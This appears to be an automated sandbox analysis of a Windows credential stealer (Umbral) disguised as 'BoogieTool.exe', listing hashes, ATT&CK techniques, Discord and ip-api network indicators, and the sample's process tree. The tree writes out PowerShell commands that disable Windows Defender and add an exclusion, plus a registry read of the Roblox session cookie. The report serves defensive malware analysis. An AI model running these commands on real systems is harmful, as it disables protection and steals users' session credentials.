umbral | 3b97b49496b1d19bd7fec189d26ba0e5ff3051eb759e48cc02c934aceb7868ee

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
04-09-2024 09:06

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General

Target

BoogieTool.exe
Size

229KB
MD5

a95d6f4a4315650e730488eabbe1a5dc
SHA1

dd8358dceb4125cbcc85c2d18721a2ef1aa5b165
SHA256

3b97b49496b1d19bd7fec189d26ba0e5ff3051eb759e48cc02c934aceb7868ee
SHA512

b3a1822d4426178ceae2ab76597bf072c41cfa374141bc7adfb01dfafcfc443a713d1526e800290afd265cd932ec756235ffde880cf5ab6fd858b2adf1ed619e
SSDEEP

6144:tloZMYrIkd8g+EtXHkv/iD4yfqmR/k4XoG/BcoNNKb8e1mwMQi:voZHL+EP8yfqmR/k4XoG/BcoNAKJ

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2632-1-0x0000000000E70000-0x0000000000EB0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3068	powershell.exe
2924	powershell.exe
2576	powershell.exe
1436	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2872	wmic.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3068	powershell.exe
2924	powershell.exe
2576	powershell.exe
2468	powershell.exe
1436	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2632	BoogieTool.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2924	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeIncreaseQuotaPrivilege	2004	wmic.exe
Token: SeSecurityPrivilege	2004	wmic.exe
Token: SeTakeOwnershipPrivilege	2004	wmic.exe
Token: SeLoadDriverPrivilege	2004	wmic.exe
Token: SeSystemProfilePrivilege	2004	wmic.exe
Token: SeSystemtimePrivilege	2004	wmic.exe
Token: SeProfSingleProcessPrivilege	2004	wmic.exe
Token: SeIncBasePriorityPrivilege	2004	wmic.exe
Token: SeCreatePagefilePrivilege	2004	wmic.exe
Token: SeBackupPrivilege	2004	wmic.exe
Token: SeRestorePrivilege	2004	wmic.exe
Token: SeShutdownPrivilege	2004	wmic.exe
Token: SeDebugPrivilege	2004	wmic.exe
Token: SeSystemEnvironmentPrivilege	2004	wmic.exe
Token: SeRemoteShutdownPrivilege	2004	wmic.exe
Token: SeUndockPrivilege	2004	wmic.exe
Token: SeManageVolumePrivilege	2004	wmic.exe
Token: 33	2004	wmic.exe
Token: 34	2004	wmic.exe
Token: 35	2004	wmic.exe
Token: SeIncreaseQuotaPrivilege	2004	wmic.exe
Token: SeSecurityPrivilege	2004	wmic.exe
Token: SeTakeOwnershipPrivilege	2004	wmic.exe
Token: SeLoadDriverPrivilege	2004	wmic.exe
Token: SeSystemProfilePrivilege	2004	wmic.exe
Token: SeSystemtimePrivilege	2004	wmic.exe
Token: SeProfSingleProcessPrivilege	2004	wmic.exe
Token: SeIncBasePriorityPrivilege	2004	wmic.exe
Token: SeCreatePagefilePrivilege	2004	wmic.exe
Token: SeBackupPrivilege	2004	wmic.exe
Token: SeRestorePrivilege	2004	wmic.exe
Token: SeShutdownPrivilege	2004	wmic.exe
Token: SeDebugPrivilege	2004	wmic.exe
Token: SeSystemEnvironmentPrivilege	2004	wmic.exe
Token: SeRemoteShutdownPrivilege	2004	wmic.exe
Token: SeUndockPrivilege	2004	wmic.exe
Token: SeManageVolumePrivilege	2004	wmic.exe
Token: 33	2004	wmic.exe
Token: 34	2004	wmic.exe
Token: 35	2004	wmic.exe
Token: SeIncreaseQuotaPrivilege	1984	wmic.exe
Token: SeSecurityPrivilege	1984	wmic.exe
Token: SeTakeOwnershipPrivilege	1984	wmic.exe
Token: SeLoadDriverPrivilege	1984	wmic.exe
Token: SeSystemProfilePrivilege	1984	wmic.exe
Token: SeSystemtimePrivilege	1984	wmic.exe
Token: SeProfSingleProcessPrivilege	1984	wmic.exe
Token: SeIncBasePriorityPrivilege	1984	wmic.exe
Token: SeCreatePagefilePrivilege	1984	wmic.exe
Token: SeBackupPrivilege	1984	wmic.exe
Token: SeRestorePrivilege	1984	wmic.exe
Token: SeShutdownPrivilege	1984	wmic.exe
Token: SeDebugPrivilege	1984	wmic.exe
Token: SeSystemEnvironmentPrivilege	1984	wmic.exe
Token: SeRemoteShutdownPrivilege	1984	wmic.exe
Token: SeUndockPrivilege	1984	wmic.exe
Token: SeManageVolumePrivilege	1984	wmic.exe
Token: 33	1984	wmic.exe
Token: 34	1984	wmic.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2632 wrote to memory of 3068	2632	BoogieTool.exe	31
PID 2632 wrote to memory of 3068	2632	BoogieTool.exe	31
PID 2632 wrote to memory of 3068	2632	BoogieTool.exe	31
PID 2632 wrote to memory of 2924	2632	BoogieTool.exe	33
PID 2632 wrote to memory of 2924	2632	BoogieTool.exe	33
PID 2632 wrote to memory of 2924	2632	BoogieTool.exe	33
PID 2632 wrote to memory of 2576	2632	BoogieTool.exe	35
PID 2632 wrote to memory of 2576	2632	BoogieTool.exe	35
PID 2632 wrote to memory of 2576	2632	BoogieTool.exe	35
PID 2632 wrote to memory of 2468	2632	BoogieTool.exe	37
PID 2632 wrote to memory of 2468	2632	BoogieTool.exe	37
PID 2632 wrote to memory of 2468	2632	BoogieTool.exe	37
PID 2632 wrote to memory of 2004	2632	BoogieTool.exe	39
PID 2632 wrote to memory of 2004	2632	BoogieTool.exe	39
PID 2632 wrote to memory of 2004	2632	BoogieTool.exe	39
PID 2632 wrote to memory of 1984	2632	BoogieTool.exe	42
PID 2632 wrote to memory of 1984	2632	BoogieTool.exe	42
PID 2632 wrote to memory of 1984	2632	BoogieTool.exe	42
PID 2632 wrote to memory of 1404	2632	BoogieTool.exe	44
PID 2632 wrote to memory of 1404	2632	BoogieTool.exe	44
PID 2632 wrote to memory of 1404	2632	BoogieTool.exe	44
PID 2632 wrote to memory of 1436	2632	BoogieTool.exe	46
PID 2632 wrote to memory of 1436	2632	BoogieTool.exe	46
PID 2632 wrote to memory of 1436	2632	BoogieTool.exe	46
PID 2632 wrote to memory of 2872	2632	BoogieTool.exe	48
PID 2632 wrote to memory of 2872	2632	BoogieTool.exe	48
PID 2632 wrote to memory of 2872	2632	BoogieTool.exe	48

C:\Users\Admin\AppData\Local\Temp\BoogieTool.exe
"C:\Users\Admin\AppData\Local\Temp\BoogieTool.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\BoogieTool.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2468
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1984
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1436
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
37ef65c07bcbf42f65e177b78c7608aa

SHA1
5fc80abb6f5bec394ebb0f768939a13c18e33677

SHA256
47a74d054124f0abbff8d3a9b4bfc8a0391740ba730b32306871638b5ab54793

SHA512
f2e628fc06dffcc4909a3ca49e2d85c3e0c1200b960fbedc0dca97e20bfabaf588cd49974601c371cd4f90660d81b5cb7b6599c1096ee9cb09fcb03ebd75c83b

Download Submit
memory/1436-47-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2632-1-0x0000000000E70000-0x0000000000EB0000-memory.dmp

Filesize
256KB

Download
memory/2632-2-0x000007FEF6790000-0x000007FEF717C000-memory.dmp

Filesize
9.9MB

Download
memory/2632-51-0x000007FEF6790000-0x000007FEF717C000-memory.dmp

Filesize
9.9MB

Download
memory/2632-0-0x000007FEF6793000-0x000007FEF6794000-memory.dmp

Filesize
4KB

Download
memory/2924-19-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2924-20-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/3068-8-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/3068-13-0x000007FEEE0F0000-0x000007FEEEA8D000-memory.dmp

Filesize
9.6MB

Download
memory/3068-11-0x000007FEEE0F0000-0x000007FEEEA8D000-memory.dmp

Filesize
9.6MB

Download
memory/3068-12-0x000007FEEE0F0000-0x000007FEEEA8D000-memory.dmp

Filesize
9.6MB

Download
memory/3068-10-0x000007FEEE0F0000-0x000007FEEEA8D000-memory.dmp

Filesize
9.6MB

Download
memory/3068-9-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/3068-7-0x000007FEEE3AE000-0x000007FEEE3AF000-memory.dmp

Filesize
4KB

Download